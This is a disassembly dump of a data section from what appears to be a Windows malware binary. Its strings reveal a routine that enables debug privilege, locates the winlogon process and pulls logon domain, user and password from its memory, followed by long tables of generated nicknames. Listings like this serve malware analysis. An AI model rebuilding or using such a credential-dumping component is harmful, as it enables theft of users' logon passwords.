		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437968	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43799C	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_437A00	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A5C	dd offset aSgu+1	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A74	dd offset aSgu+1	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 4
unk_437B38	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B84	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437BD4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437C28	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_4387D8
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
; ---------------------------------------------------------------------------
		aam	87h
		inc	ebx
		add	[eax+0C0042AAh], ch
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_4387D0
		dd offset dword_4387CC
		dd offset dword_4387C8
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_4387C4
		dd offset dword_4387C0
		dd offset dword_4387BC
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_4387B8
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4387B4
		dd offset dword_4387B0
		dd offset dword_4387AC
		dd offset dword_4387A8
		dd offset dword_4387A4
		dd offset word_4387A0
		dd offset dword_43879C
		dd offset aI_0		; "I"
		dd offset dword_438798
		dd offset dword_438794
		dd offset aA_0		; "A"
		dd offset dword_438790
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset dword_438768
		dd offset dword_438764
		dd offset dword_438760
		dd offset word_43875C
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384F4
		dd offset off_4384F0
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43835C
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437F28	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
; ---------------------------------------------------------------------------
		fadd	qword ptr [ecx-7E2BFFBDh]
		inc	ebx
		add	ah, cl
		add	dword ptr [ebx+0], offset aQ8 ;	"Q8"
		rol	byte ptr [ecx-7847FFBDh], 43h
		add	[eax], dh
		lodsb
		inc	edx
		add	[eax], bh
		mov	dword ptr [edx+0], offset aE ; "e"
		rol	byte ptr [edi-7833FFBDh], 1
		inc	ebx
		add	al, cl
		xchg	eax, [ebx+0]
		or	al, 0C3h
		inc	edx
		add	[eax], dh
		mov	ch, 42h
		add	[eax-4Dh], bh
		inc	edx
		add	[eax-3BFFBD39h], dl
		xchg	eax, [ebx+0]
		clc
		lodsb
		inc	edx
		add	[ebx+esi*4+42h], bh
		add	[ebx+esi*4], ch
		inc	edx
		add	[edx+ebp*4-3CDFFFBEh], al
		inc	edx
		add	[ecx+eax*4-3D4FFFBDh], bh
		inc	edx
		add	[eax-2BFFBD56h], ch
		mov	dl, 42h
		add	al, bl
		xchg	eax, [ebx+0]
		mov	esp, 0D4004387h
		xchg	eax, [ebx+0]
		rol	byte ptr [edi-7E4BFFBDh], 43h
		add	[eax-53FFBC7Fh], dh
		add	dword ptr [ebx+0], offset aGf ;	"gf"
		movsb
		add	dword ptr [ebx+0], offset aSdf ; "sdf"
		pushf
		add	dword ptr [ebx+0], offset aLuvy	; "luvy"
		mov	word ptr [ecx-7E7BFFBDh], es
		inc	ebx
		add	[ecx+eax*4+43h], bh
		add	al, al
		xchg	eax, [ebx+0]
		int	3		; Trap to Debugger
		xchg	eax, [ebx+0]
		adc	al, 0C3h
		inc	edx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset off_438178
		dd offset aBbl		; "|bbl"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset a___0		; "_|_"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_438788
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4387B8
		dd offset dword_43D158
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43876C
		dd offset dword_43D158
		dd offset off_438138
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380F8
		dd offset dword_4380F4
		dd offset dword_4380EC
		dd offset dword_4380E0
		dd offset dword_4380D8
		dd offset dword_4380D0
		dd offset dword_4380C8
		dd offset dword_4380C4
		dd offset dword_4380C0
dword_4380C0	dd 7536h		; DATA XREF: ___:004380BCo
dword_4380C4	dd 7535h		; DATA XREF: ___:004380B8o
dword_4380C8	dd 7C75347Ch, 0		; DATA XREF: ___:004380B4o
dword_4380D0	dd 6F79347Bh, 7D75h	; DATA XREF: ___:004380B0o
dword_4380D8	dd 7375347Ch, 7Ch	; DATA XREF: ___:004380ACo
dword_4380E0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:004380A8o
dword_4380EC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:004380A4o
dword_4380F4	dd 6C6F6Ch		; DATA XREF: ___:004380A0o
dword_4380F8	dd 746F74h		; DATA XREF: ___:0043809Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438098o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438094o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438090o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043808Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438088o
aShit		db 'shit',0             ; DATA XREF: ___:00438084o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438080o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043807Co
		align 4
off_438138	dd offset word_594F42	; DATA XREF: ___:00438078o
aFree		db 'Free',0             ; DATA XREF: ___:00438064o
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438060o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438054o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438048o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438044o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438040o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438024o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438018o
		align 4
off_438178	dd offset loc_425242	; DATA XREF: ___:00438014o
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00437FF1o
		align 4
aUi		db 'ui',0
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00437FE9o
aRt		db 'rt',0
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00437FE1o
		align 4
aTy		db 'ty',0
		align 10h
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F69o
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:00437F5Co
		align 10h
aSex		db '{sex}',0            ; DATA XREF: ___:00437F58o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00437F54o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F50o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F4Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F48o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F44o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F40o
aLag		db 'lag',0              ; DATA XREF: ___:00437F3Co
aBad		db 'bad',0              ; DATA XREF: ___:00437F38o
aTree		db 'tree',0             ; DATA XREF: ___:00437F34o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00437F30o
aLez		db 'lez',0              ; DATA XREF: ___:00437F2Co
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437F28o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437F24o
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437F20o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437F1Co
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437F18o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437F14o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437F10o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437F0Co
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437F08o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437F04o
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437F00o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EFCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EF8o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EF4o
		align 10h
aUla		db 'ula',0              ; DATA XREF: ___:00437EF0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EECo
aAkden		db 'akden',0            ; DATA XREF: ___:00437EE8o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EE4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EE0o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EDCo
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437ED8o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437ED4o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437ED0o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437ECCo
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437EC8o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00437EC4o
		align 10h
aDevre		db 'devre',0            ; DATA XREF: ___:00437EC0o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437EBCo
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437EB8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00437EB4o
		align 10h
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437EB0o
		align 4
off_43835C	dd offset byte_4B5245	; DATA XREF: ___:00437EACo
aSevda		db 'sevda',0            ; DATA XREF: ___:00437EA8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00437EA4o
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437EA0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E9Co
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E98o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E94o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E90o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E8Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E88o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E84o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E80o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E7Co
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E78o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E74o
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E70o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E6Co
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E68o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E64o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E60o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E5Co
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E58o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E54o
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E50o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E4Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E48o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E44o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E40o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E3Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E38o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437E34o
		align 10h
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437E30o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437E2Co
aArda		db 'arda',0             ; DATA XREF: ___:00437E28o
		align 10h
aDevran		db 'devran',0           ; DATA XREF: ___:00437E24o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437E20o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437E1Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437E18o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437E14o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437E10o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437E0Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437E08o
		align 10h
off_4384F0	dd offset byte_457441	; DATA XREF: ___:00437E04o
dword_4384F4	dd 414C5941h, 2Dh	; DATA XREF: ___:00437E00o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DFCo
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DF8o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DF4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DF0o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DECo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DE8o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DE4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DE0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DDCo
		align 10h
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DD8o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437DD4o
aAslii		db 'aslii',0            ; DATA XREF: ___:00437DD0o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437DCCo
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437DC8o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437DC4o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437DC0o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437DBCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437DB8o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437DB4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437DB0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437DACo
		align 10h
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437DA8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437DA4o
		align 10h
aMary		db 'MARY',0             ; DATA XREF: ___:00437DA0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D9Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D98o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D94o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D90o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D8Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D88o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D84o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D80o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D7Co
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D78o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D74o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D70o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D6Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D68o
		align 10h
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D64o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00437D60o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D5Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D58o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D54o
		align 10h
aManee		db 'manee',0            ; DATA XREF: ___:00437D50o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:00437D4Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D48o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D44o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D40o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D3Co
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D38o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437D34o
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437D30o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437D2Co
		align 10h
aTalika		db 'talika',0           ; DATA XREF: ___:00437D28o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00437D24o
		align 10h
aKen		db 'ken',0              ; DATA XREF: ___:00437D20o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437D1Co
		align 10h
aKoko		db 'koko',0             ; DATA XREF: ___:00437D18o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00437D14o
		align 10h
aSwin		db 'swin',0             ; DATA XREF: ___:00437D10o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437D0Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437D08o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437D04o
		align 10h
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437D00o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CFCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CF8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CF4o
		align 4
aM_0:					; DATA XREF: ___:00437CF0o
					; ___:0043803Co
		unicode	0, <M>,0
word_43875C	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CECo
		align 10h
dword_438760	dd 42h			; DATA XREF: ___:00437CE8o
dword_438764	dd 56h			; DATA XREF: ___:00437CE4o
dword_438768	dd 43h			; DATA XREF: ___:00437CE0o
